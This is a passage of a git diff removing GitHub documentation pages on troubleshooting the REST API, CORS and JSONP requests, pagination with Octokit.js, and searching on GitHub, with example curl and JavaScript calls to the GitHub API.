timezone information - -If the steps above don't result in any information, we use UTC as the timezone. diff --git a/content/rest/using-the-rest-api/troubleshooting-the-rest-api.md b/content/rest/using-the-rest-api/troubleshooting-the-rest-api.md deleted file mode 100644 index c2e750a90f3c..000000000000 --- a/content/rest/using-the-rest-api/troubleshooting-the-rest-api.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Troubleshooting the REST API -shortTitle: Troubleshooting -intro: Learn how to diagnose and resolve common problems for the REST API. -redirect_from: - - /v3/troubleshooting - - /rest/overview/troubleshooting - - /rest/overview/troubleshooting-the-rest-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - -## Rate limit errors - -{% data variables.product.company_short %} enforces rate limits to ensure that the API stays available for all users. For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -If you exceed your primary rate limit, you will receive a `403 Forbidden` or `429 Too Many Requests ` response, and the `x-ratelimit-remaining` header will be `0`. If you exceed a secondary rate limit, you will receive a `403 Forbidden` or `429 Too Many Requests ` response and an error message that indicates that you exceeded a secondary rate limit. - -If you receive a rate limit error, you should stop making requests temporarily according to these guidelines: - -* If the `retry-after` response header is present, you should not retry your request until after that many seconds has elapsed. -* If the `x-ratelimit-remaining` header is `0`, you should not make another request until after the time specified by the `x-ratelimit-reset` header. The `x-ratelimit-reset` header is in UTC epoch seconds. -* Otherwise, wait for at least one minute before retrying. If your request continues to fail due to a secondary rate limit, wait for an exponentially increasing amount of time between retries, and throw an error after a specific number of retries. - -Continuing to make requests while you are rate limited may result in the banning of your integration. - -{% data reusables.organizations.api-insights-learn-about %} - -For more information about how to avoid exceeding the rate limits, see [AUTOTITLE](/rest/guides/best-practices-for-using-the-rest-api). - -## `404 Not Found` for an existing resource - -If you make a request to access a private resource and your request isn't properly authenticated, you will receive a `404 Not Found` response. {% data variables.product.company_short %} uses a `404 Not Found` response instead of a `403 Forbidden` response to avoid confirming the existence of private repositories. - -If you get a `404 Not Found` response when you know that the resource that you are requesting exists, you should check your authentication. For example: - -* If you are using a {% data variables.product.pat_v1 %}, you should ensure that: - * The token has the scopes that are required to use the endpoint. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes) and [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-fine-grained-personal-access-token). - * The owner of the token has any permissions that are required to use the endpoint. For example, if an endpoint can only be used by organization owners, only users that are owners of the affected organization can use the endpoint. - * The token has not been expired or revoked. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation). -* If you are using a {% data variables.product.pat_v2 %}, you should ensure that: - * The token has the permissions that are required to use the endpoint. For more information about the required permissions, see the documentation for the endpoint. - * The resource owner that was specified for the token matches the owner of the resource that the endpoint will affect. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-fine-grained-personal-access-token). - * The token has access to any private repositories that the endpoint will affect. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-fine-grained-personal-access-token). - * The owner of the token has any permissions that are required to use the endpoint. For example, if an endpoint can only be used by organization owners, only users that are owners of the affected organization can use the endpoint. - * The token has not been expired or revoked. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation). -* If you are using a {% data variables.product.prodname_github_app %} installation access token, you should ensure that: - * The {% data variables.product.prodname_github_app %} has the permissions that are required to use the endpoint. For more information about the required permissions, see the documentation for the endpoint. - * The endpoint is only affecting resources owned by the account where the {% data variables.product.prodname_github_app %} is installed. - * The {% data variables.product.prodname_github_app %} has access to any repositories that the endpoint will affect. - * The token has not been expired or revoked. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation). -* If you are using a {% data variables.product.prodname_github_app %} user access token, you should ensure that: - * The {% data variables.product.prodname_github_app %} has the permissions that are required to use the endpoint. For more information about the required permissions, see the documentation for the endpoint. - * The user that authorized the token has any permissions that are required to use the endpoint. For example, if an endpoint can only be used by organization owners, only users that are owners of the affected organization can use the endpoint. - * The {% data variables.product.prodname_github_app %} has access to any repositories that the endpoint will affect. - * The user has access to any repositories that the endpoint will affect. - * The user has approved any updated permissions for your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/using-github-apps/approving-updated-permissions-for-a-github-app). -* If you are using an {% data variables.product.prodname_oauth_app %} user access token, you should ensure that: - * The token has the scopes that are required to use the endpoint. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes). - * The user that authorized the token has any permissions that are required to use the endpoint. For example, if an endpoint can only be used by organization owners, only users that are owners of the affected organization can use the endpoint. - * The organization has not blocked OAuth app access, if you are using an endpoint that will affect resources owned by an organization. App owners cannot see whether their app is blocked, but they can instruct users of the app to check this. For more information, see {% ifversion fpt or ghec %}[AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions).{% else %}[AUTOTITLE](/free-pro-team@latest/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions) in the {% data variables.product.prodname_free_team %} documentation.{% endif %} - * The token has not been expired or revoked. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation). -* If you are using `GITHUB_TOKEN` in a {% data variables.product.prodname_actions %} workflow, you should ensure that: - * The endpoint is only affecting resources owned by the repository where the workflow is running. If you need to access resources outside of that repository, such as resources owned by an organization or resources owned by another repository, you should use a {% data variables.product.pat_generic %} or an access token for a {% data variables.product.prodname_github_app %}. - -For more information about authentication, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -You should also check for typos in your URL. For example, adding a trailing slash to the endpoint will result in a `404 Not Found`. You can refer to the reference documentation for the endpoint to confirm that you have the correct URL. - -Additionally, any path parameters must be URL encoded. For example, any slashes in the parameter value must be replaced with `%2F`. If you don't properly encode any slashes in the parameter name, the endpoint URL will be misinterpreted. - -## Missing results - -Most endpoints that return a list of resources support pagination. For most of these endpoints, only the first 30 resources are returned by default. In order to see all of the resources, you need to paginate through the results. For more information, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -If you are using pagination correctly and still do not see all of the results that you expect, you should confirm that the authentication credentials that you used have access to all of the expected resources. For example, if you are using a {% data variables.product.prodname_github_app %} installation access token, if the installation was only granted access to a subset of repositories in an organization, any request for all repositories in that organization will return only the repositories that the app installation can access. - -{% ifversion fpt or ghec %} - -## Requires authentication when using basic authentication - -Basic authentication with your username and password is not supported. Instead, you should use a {% data variables.product.pat_generic %} or an access token for a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %}. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -{% endif %} - -## Timeouts - -If {% data variables.product.github %} takes more than 10 seconds to process an API request, {% data variables.product.github %} will terminate the request and you will receive a timeout response and a "Server Error" message. - -{% data variables.product.github %} reserves the right to change the timeout window to protect the speed and reliability of the API. - -You can check the status of the REST API at [githubstatus.com](https://www.githubstatus.com/) to determine whether the timeout is due to a problem with the API. You can also try to simplify your request or try your request later. For example, if you are requesting 100 items on a page, you can try requesting fewer items. - -## Resource not accessible - -If you are using a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_v2 %} and you receive a "Resource not accessible by integration" or "Resource not accessible by {% data variables.product.pat_generic %}" error, then your token has insufficient permissions. For more information about the required permissions, see the documentation for the endpoint. - -You can use the `X-Accepted-GitHub-Permissions` header to identify the permissions that are required to access the REST API endpoint. - -The value of the `X-Accepted-GitHub-Permissions` header is a comma separated list of the permissions that are required to use the endpoint. Occasionally, you can choose from multiple permission sets. In these cases, multiple comma-separated lists will be separated by a semicolon. - -For example: - -* `X-Accepted-GitHub-Permissions: contents=read` means that your {% data variables.product.prodname_github_app %} or {% data variables.product.pat_v2 %} needs read access to the contents permission. -* `X-Accepted-GitHub-Permissions: pull_requests=write,contents=read` means that your {% data variables.product.prodname_github_app %} or {% data variables.product.pat_v2 %} needs write access to the pull request permission and read access to the contents permission. -* `X-Accepted-GitHub-Permissions: pull_requests=read,contents=read; issues=read,contents=read` means that your {% data variables.product.prodname_github_app %} or {% data variables.product.pat_v2 %} needs either read access to the pull request permission and read access to the contents permission, or read access to the issues permission and read access to the contents permission. - -## Problems parsing JSON - -If you send invalid JSON in the request body, you may receive a `400 Bad Request` response and a "Problems parsing JSON" error message. You can use a linter or JSON validator to help you identify errors in your JSON. - -## Body should be a JSON object - -If the endpoint expects a JSON object and you do not format your request body as a JSON object, you may receive a `400 Bad Request` response and a "Body should be a JSON object" error message. - -## Invalid request - -If you omit required parameters or you use the wrong type for a parameter, you may receive a `422 Unprocessable Entity` response and an "Invalid request" error message. For example, you will get this error if you specify a parameter value as an array but the endpoint is expecting a string. You can refer to the reference documentation for the endpoint to verify that you are using the correct parameter types and that you are including all of the required parameters. - -## Validation Failed - -If your request could not be processed, you may receive a `422 Unprocessable Entity` response and a "Validation Failed" error message. The response body will include an `errors` property, which includes a `code` property to help you diagnose the problem. - -Code | Description ------------|-----------| -`missing` | A resource does not exist. -`missing_field` | A parameter that was required was not specified. Review the documentation for the endpoint to see what parameters are required. -`invalid` | The formatting of a parameter is invalid. Review the endpoint documentation for more specific information. -`already_exists` | Another resource has the same value as one of your parameters. This can happen in resources that must have some unique key (such as label names). -`unprocessable` | The parameters that were provided were invalid. -`custom` | Refer to the `message` property to diagnose the error. - -## Not a supported version - -You should use the `X-GitHub-Api-Version` header to specify an API version. For example: - -```shell -curl {% data reusables.rest-api.version-header %} https://api.github.com/zen -``` - -If you specify a version that does not exist, you will receive a `400 Bad Request` error and a message about the version not being supported. - -For more information, see [AUTOTITLE](/rest/overview/api-versions). - -## User agent required - -Requests without a valid `User-Agent` header will be rejected. You should use your username or the name of your application for the `User-Agent` value. - -curl sends a valid `User-Agent` header by default. - -## Other errors - -If you observe an error that is not addressed here, you should refer to the error message that the API gives you. Most error messages will provide a clue about what is wrong and a link to relevant documentation. - -If you observe unexpected failures, you can use [githubstatus.com](https://www.githubstatus.com/) or the [{% data variables.product.company_short %} status API](https://www.githubstatus.com/api) to check for incidents affecting the API. - -## Further reading - -* [AUTOTITLE](/rest/guides/best-practices-for-using-the-rest-api) -* [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks) -* [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app) diff --git a/content/rest/using-the-rest-api/using-cors-and-jsonp-to-make-cross-origin-requests.md b/content/rest/using-the-rest-api/using-cors-and-jsonp-to-make-cross-origin-requests.md deleted file mode 100644 index c130e40d3361..000000000000 --- a/content/rest/using-the-rest-api/using-cors-and-jsonp-to-make-cross-origin-requests.md +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Using CORS and JSONP to make cross-origin requests -shortTitle: CORS and JSONP -intro: You can make API requests across domains using cross-origin resource sharing (CORS) and JSONP callbacks. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - -## About cross-origin requests - -A cross-origin request is a request made to a different domain than the one originating the request. For security reasons, most web browsers block cross-origin requests. However, you can use cross-origin resource sharing (CORS) and JSONP callbacks to make cross-origin requests. - -## Cross-origin resource sharing (CORS) - -The REST API supports cross-origin resource sharing (CORS) for AJAX requests from any origin. For more information, see the [CORS W3C Recommendation](http://www.w3.org/TR/cors/) and the [HTML 5 Security Guide](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) - -Here's a sample request sent from a browser hitting -`http://example.com`: - -```shell -$ curl -I {% data variables.product.rest_url %} -H "Origin: http://example.com" -HTTP/2 302 -Access-Control-Allow-Origin: * -Access-Control-Expose-Headers: ETag, Link, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval -``` - -This is what the CORS preflight request looks like: - -```shell -$ curl -I {% data variables.product.rest_url %} -H "Origin: http://example.com" -X OPTIONS -HTTP/2 204 -Access-Control-Allow-Origin: * -Access-Control-Allow-Headers: Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-Requested-With -Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE -Access-Control-Expose-Headers: ETag, Link, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval -Access-Control-Max-Age: 86400 -``` - -## JSON-P callbacks - -You can send a `?callback` parameter to any GET call to have the results -wrapped in a JSON function. This is typically used when browsers want to embed {% data variables.product.github %} content in web pages and avoid cross-domain problems. The response includes the same data output as the regular API, plus the relevant HTTP Header information. - -```shell -$ curl {% data variables.product.rest_url %}?callback=foo - -> /**/foo({ -> "meta": { -> "status": 200, -> "x-ratelimit-limit": "5000", -> "x-ratelimit-remaining": "4966", -> "x-ratelimit-reset": "1372700873", -> "Link": [ // pagination headers and other links -> ["{% data variables.product.rest_url %}?page=2", {"rel": "next"}] -> ] -> }, -> "data": { -> // the data -> } -> }) -``` - -You can write a JavaScript handler to process the callback. Here's a minimal example you can try: - -```html - - - - - - -

Open up your browser's console.

- - -``` - -All of the headers have the same string value as the HTTP Headers, except `Link`. `Link` headers are pre-parsed for you and come through as an array of `[url, options]` tuples. - -For example, a link that looks like this: - -```shell -Link: ; rel="next", ; rel="foo"; bar="baz" -``` - -will look like this in the Callback output: - -```json -{ - "Link": [ - [ - "url1", - { - "rel": "next" - } - ], - [ - "url2", - { - "rel": "foo", - "bar": "baz" - } - ] - ] -} -``` diff --git a/content/rest/using-the-rest-api/using-pagination-in-the-rest-api.md b/content/rest/using-the-rest-api/using-pagination-in-the-rest-api.md deleted file mode 100644 index 47cef2093892..000000000000 --- a/content/rest/using-the-rest-api/using-pagination-in-the-rest-api.md +++ /dev/null @@ -1,185 +0,0 @@ ---- -title: Using pagination in the REST API -intro: Learn how to navigate through paginated responses from the REST API. -redirect_from: - - /guides/traversing-with-pagination - - /v3/guides/traversing-with-pagination - - /rest/guides/traversing-with-pagination - - /rest/guides/using-pagination-in-the-rest-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Pagination ---- - -## About pagination - -When a response from the REST API would include many results, {% data variables.product.company_short %} will paginate the results and return a subset of the results. For example, `GET /repos/octocat/Spoon-Knife/issues` will only return 30 issues from the `octocat/Spoon-Knife` repository even though the repository includes over 1600 open issues. This makes the response easier to handle for servers and for people. - -You can use the `link` header from the response to request additional pages of data. If an endpoint supports the `per_page` query parameter, you can control how many results are returned on a page. - -This article demonstrates how to request additional pages of results for paginated responses, how to change the number of results returned on each page, and how to write a script to fetch multiple pages of results. - -## Using `link` headers - -When a response is paginated, the response headers will include a `link` header. If the endpoint does not support pagination, or if all results fit on a single page, the `link` header will be omitted. - -The `link` header contains URLs that you can use to fetch additional pages of results. For example, the previous, next, first, and last page of results. - -To see the response headers for a particular endpoint, you can use curl, GitHub CLI, or a library you're using to make requests. To see the response headers if you are using a library to make requests, follow the documentation for that library. To see the response headers if you are using curl or GitHub CLI, pass the `--include` flag with your request. For example: - - ```shell - curl --include --request GET \ - --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ - --header "Accept: application/vnd.github+json" - ``` - -If the response is paginated, the `link` header will look something like this: - -```http -link: ; rel="prev", ; rel="next", ; rel="last", ; rel="first" -``` - -The `link` header provides the URL for the previous, next, first, and last page of results: - -* The URL for the previous page is followed by `rel="prev"`. -* The URL for the next page is followed by `rel="next"`. -* The URL for the last page is followed by `rel="last"`. -* The URL for the first page is followed by `rel="first"`. - -In some cases, only a subset of these links are available. For example, the link to the previous page won't be included if you are on the first page of results, and the link to the last page won't be included if it can't be calculated. - -You can use the URLs from the `link` header to request another page of results. For example, to request the last page of results based on the previous example: - -```shell -curl --include --request GET \ ---url "https://api.github.com/repositories/1300192/issues?page=515" \ ---header "Accept: application/vnd.github+json" -``` - -The URLs in the `link` header use query parameters to indicate which page of results to return. The query parameters in the `link` URLs may differ between endpoints, however each paginated endpoint will use the `page`, `before`/`after`, or `since` query parameters. (Some endpoints use the `since` parameter for something other than pagination.) In all cases, you can use the URLs in the `link` header to fetch additional pages of results. For more information about query parameters see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api#using-query-parameters). - -## Changing the number of items per page - -If an endpoint supports the `per_page` query parameter, then you can control how many results are returned on a page. For more information about query parameters see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api#using-query-parameters). - -For example, this request uses the `per_page` query parameter to return two items per page: - -```shell -curl --include --request GET \ ---url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \ ---header "Accept: application/vnd.github+json" -``` - -The `per_page` parameter will automatically be included in the `link` header. For example: - -```http -link: ; rel="next", ; rel="last" -``` - -## Scripting with pagination - -Instead of manually copying URLs from the `link` header, you can write a script to fetch multiple pages of results. - -The following examples use JavaScript and {% data variables.product.company_short %}'s Octokit.js library. For more information about Octokit.js, see [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api?tool=javascript) and [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). - -### Example using the Octokit.js pagination method - -To fetch paginated results with Octokit.js, you can use `octokit.paginate()`. `octokit.paginate()` will fetch the next page of results until it reaches the last page and then return all of the results as a single array. A few endpoints return paginated results as array in an object, as opposed to returning the paginated results as an array. `octokit.paginate()` always returns an array of items even if the raw result was an object. - -For example, this script gets all of the issues from the `octocat/Spoon-Knife` repository. Although it requests 100 issues at a time, the function won't return until the last page of data is reached. - -```javascript copy -import { Octokit } from "octokit"; - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}", -{% endif %}}); - -const data = await octokit.paginate("GET /repos/{owner}/{repo}/issues", { - owner: "octocat", - repo: "Spoon-Knife", - per_page: 100, - headers: { - "X-GitHub-Api-Version": "{{ allVersions[currentVersion].latestApiVersion }}", - }, -}); - -console.log(data) -``` - -You can pass an optional map function to `octokit.paginate()` to end pagination before the last page is reached or to reduce memory usage by keeping only a subset of the response. You can also use `octokit.paginate.iterator()` to iterate through a single page at a time instead of requesting every page. For more information, see [the Octokit.js documentation](https://github.com/octokit/octokit.js#pagination). - -### Example creating a pagination method - -If you are using another language or library that doesn't have a pagination method, you can build your own pagination method. This example still uses the Octokit.js library to make requests, but does not rely on `octokit.paginate()`. - -The `getPaginatedData` function makes a request to an endpoint with `octokit.request()`. The data from the response is processed by `parseData`, which handles cases where no data is returned or cases where the data that is returned is an object instead of an array. The processed data is then appended to a list that contains all of the paginated data collected so far. If the response includes a `link` header and if the `link` header includes a link for the next page, then the function uses a RegEx pattern (`nextPattern`) to get the URL for the next page. The function then repeats the previous steps, now using this new URL. Once the `link` header no longer includes a link to the next page, all of the results are returned. - -```javascript copy -import { Octokit } from "octokit"; - -const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}", -{% endif %}}); - -async function getPaginatedData(url) { - const nextPattern = /(?<=<)([\S]*)(?=>; rel="Next")/i; - let pagesRemaining = true; - let data = []; - - while (pagesRemaining) { - const response = await octokit.request(`GET ${url}`, { - per_page: 100, - headers: { - "X-GitHub-Api-Version": - "{{ allVersions[currentVersion].latestApiVersion }}", - }, - }); - - const parsedData = parseData(response.data) - data = [...data, ...parsedData]; - - const linkHeader = response.headers.link; - - pagesRemaining = linkHeader && linkHeader.includes(`rel=\"next\"`); - - if (pagesRemaining) { - url = linkHeader.match(nextPattern)[0]; - } - } - - return data; -} - -function parseData(data) { - // If the data is an array, return that - if (Array.isArray(data)) { - return data - } - - // Some endpoints respond with 204 No Content instead of empty array - // when there is no data. In that case, return an empty array. - if (!data) { - return [] - } - - // Otherwise, the array of items that we want is in an object - // Delete keys that don't include the array of items - delete data.incomplete_results; - delete data.repository_selection; - delete data.total_count; - // Pull out the array of items - const namespaceKey = Object.keys(data)[0]; - data = data[namespaceKey]; - - return data; -} - -const data = await getPaginatedData("/repos/octocat/Spoon-Knife/issues"); - -console.log(data); -``` diff --git a/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md deleted file mode 100644 index dbe9d8ff38da..000000000000 --- a/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: About searching on GitHub -intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.github %}.' -redirect_from: - - /articles/using-the-command-bar - - /articles/github-search-basics - - /articles/search-basics - - /articles/searching-github - - /articles/advanced-search - - /articles/about-searching-on-github - - /github/searching-for-information-on-github/about-searching-on-github - - /github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- - -## About searching on {% data variables.product.prodname_dotcom %} - -{% data reusables.search.you-can-search-globally %} - -* To search globally across all of {% data variables.product.github %}, type what you're looking for into the search field at the top of any page, and choose "Search all of {% data variables.product.prodname_dotcom %}"{% ifversion fpt or ghec or ghes > 3.12 %} in the search dropdown menu{% endif %}. -* To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**. - - {% ifversion code-search-upgrade %}You can also use suggestions and completions in the search bar to quickly find what you need. - -* If you click on the search bar in the top navigation of GitHub.com, you will see a list of suggestions organized by category, including recent searches and suggested repositories, teams, and projects that you have access to. -* Clicking on any of the specific suggestions will take you directly to the page for that suggestion (for example, the repository or project page). If you click on a recent search, depending on the type of search, the search term will appear in the search bar or you will be taken to the search results page for the search term. -* Once you start typing, you will see a list of completions and suggestions that match your query. You can click on a suggestion to jump to a specific location. As you continue to type, you will see more specific suggestions, such as code files you can jump to directly. - -After typing a search query, you can press **Enter** to go to the full search results view, where you can see each match and a visual interface for applying filters. For more information, see [Searching using a visual interface](#searching-using-a-visual-interface). -{% endif %} - -> [!NOTE] -> * {% data reusables.search.required_login %} -> * {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.github %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see [AUTOTITLE]{% ifversion code-search-upgrade %}(/search-github/github-code-search/understanding-github-code-search-syntax){% else %}(/search-github/searching-on-github/searching-code){% endif %}. For more information about {% data variables.product.prodname_pages %}, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages) -> * Currently our search doesn't support exact matching.{% ifversion ghes %} -> * Whenever you are searching in code files, only the first two results in each file will be returned.{% endif %} - -After running a search on {% data variables.product.github %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/sorting-search-results). - -{% data variables.product.github %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.github %}. Issues and pull requests are indexed when they are created or modified. - -## Types of searches on {% data variables.product.prodname_dotcom %} - -You can search for the following information across all repositories you can access on {% data variables.product.prodname_dotcom %}. - -* [Repositories](/search-github/searching-on-github/searching-for-repositories) -* [Topics](/search-github/searching-on-github/searching-topics) -* [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %} -* [Discussions](/search-github/searching-on-github/searching-discussions){% endif %} -* {% ifversion code-search-upgrade %}[Code](/search-github/github-code-search/understanding-github-code-search-syntax){% else %}[Code](/search-github/searching-on-github/searching-code){% endif %} -* [Commits](/search-github/searching-on-github/searching-commits) -* [Users](/search-github/searching-on-github/searching-users) -* [Packages](/search-github/searching-on-github/searching-for-packages) -* [Wikis](/search-github/searching-on-github/searching-wikis) - -## Searching using a visual interface - -In addition to the search bar, you can search {% data variables.product.github %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% ifversion command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.github %}, without leaving the keyboard. For more information, see [AUTOTITLE](/get-started/accessibility/github-command-palette).{% endif %} - -The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar. - -![Advanced Search page. Top search bar holds "kittens user:octocat" query. Under "Advanced options", "From these owners" text box holds term "octocat".](/assets/images/help/search/advanced-search.png) - -## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment - -If you use {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} as well as {% data variables.product.prodname_ghe_server %}, and an enterprise owner has enabled {% data variables.enterprise.prodname_unified_search %}, you can search across both environments at the same time from {% data variables.product.prodname_ghe_server %}. For more information, see {% ifversion fpt or ghec %}[AUTOTITLE](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment) in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}[AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise). - -Your enterprise owner on {% data variables.product.prodname_ghe_server %} can separately enable {% data variables.enterprise.prodname_unified_search %} for all public repositories on {% data variables.product.prodname_dotcom_the_website %} and for private repositories owned by the organization or enterprise on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} that is connected to {% data variables.product.prodname_ghe_server %} through {% data variables.product.prodname_github_connect %}. - -Before you can use {% data variables.enterprise.prodname_unified_search %} for private repositories, you must connect your user accounts across environments. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment). - -When you search from {% data variables.product.prodname_ghe_server %}, only private repositories that you have access to and that are owned by the connected organization or enterprise account will be included in search results. Neither you nor anyone else will be able to search private repositories owned by your user account on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} from {% data variables.product.prodname_ghe_server %}. - -To limit your search to one environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.prodname_ghe_server %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`. -{% endif %} - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) -* [AUTOTITLE](/search-github/searching-on-github) diff --git a/content/search-github/getting-started-with-searching-on-github/enabling-repository-search-across-environments.md b/content/search-github/getting-started-with-searching-on-github/enabling-repository-search-across-environments.md deleted file mode 100644 index b2a09ad1691b..000000000000 --- a/content/search-github/getting-started-with-searching-on-github/enabling-repository-search-across-environments.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Enabling repository search across environments -shortTitle: Search across environments -intro: 'Unify search results in {% data variables.product.prodname_ghe_server %} by connecting your account on {% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %}.' -redirect_from: - - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account - - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account - - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-server-account - - /articles/enabling-githubcom-repository-search-in-github-enterprise-server - - /github/searching-for-information-on-github/enabling-githubcom-repository-search-in-github-enterprise-server - - /github/searching-for-information-on-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-in-github-enterprise-server - - /search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment -versions: - ghes: '*' -topics: - - GitHub search ---- - -You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% data variables.location.product_location %}. For more information about searching across environments, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment). - -## Prerequisites - -An enterprise owner for {% data variables.product.prodname_ghe_server %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.enterprise.prodname_unified_search %} for private repositories. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise). - -## Enabling unified repository search from {% data variables.product.prodname_ghe_server %} - -1. Sign in to both your user account on {% data variables.product.prodname_ghe_server %} **and** your user account on {% data variables.product.prodname_ghe_cloud %} ({% data variables.product.prodname_dotcom_the_website %}{% ifversion ghecom-github-connect %} or {% data variables.enterprise.data_residency_site %}{% endif %}). -1. On {% data variables.product.prodname_ghe_server %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. - - ![Screenshot of a user's account menu on {% data variables.product.prodname_dotcom %}. The menu item "Settings" is outlined in dark orange.](/assets/images/help/settings/userbar-account-settings-global-nav-update.png) - -{% data reusables.github-connect.github-connect-tab-user-settings %} -{% data reusables.github-connect.connect-dotcom-and-enterprise %} diff --git a/content/search-github/getting-started-with-searching-on-github/index.md b/content/search-github/getting-started-with-searching-on-github/index.md deleted file mode 100644 index 784a88ec12ba..000000000000 --- a/content/search-github/getting-started-with-searching-on-github/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Getting started with searching on GitHub -intro: 'You can use a wide range of syntax to search {% data variables.product.github %}. You can adjust the scope of your search, build and troubleshoot queries, and sort search results with qualifiers.' -redirect_from: - - /articles/getting-started-with-searching-on-github - - /github/searching-for-information-on-github/getting-started-with-searching-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -children: - - /about-searching-on-github - - /understanding-the-search-syntax - - /troubleshooting-search-queries - - /sorting-search-results - - /enabling-repository-search-across-environments -shortTitle: Start with search on GitHub ---- diff --git a/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md 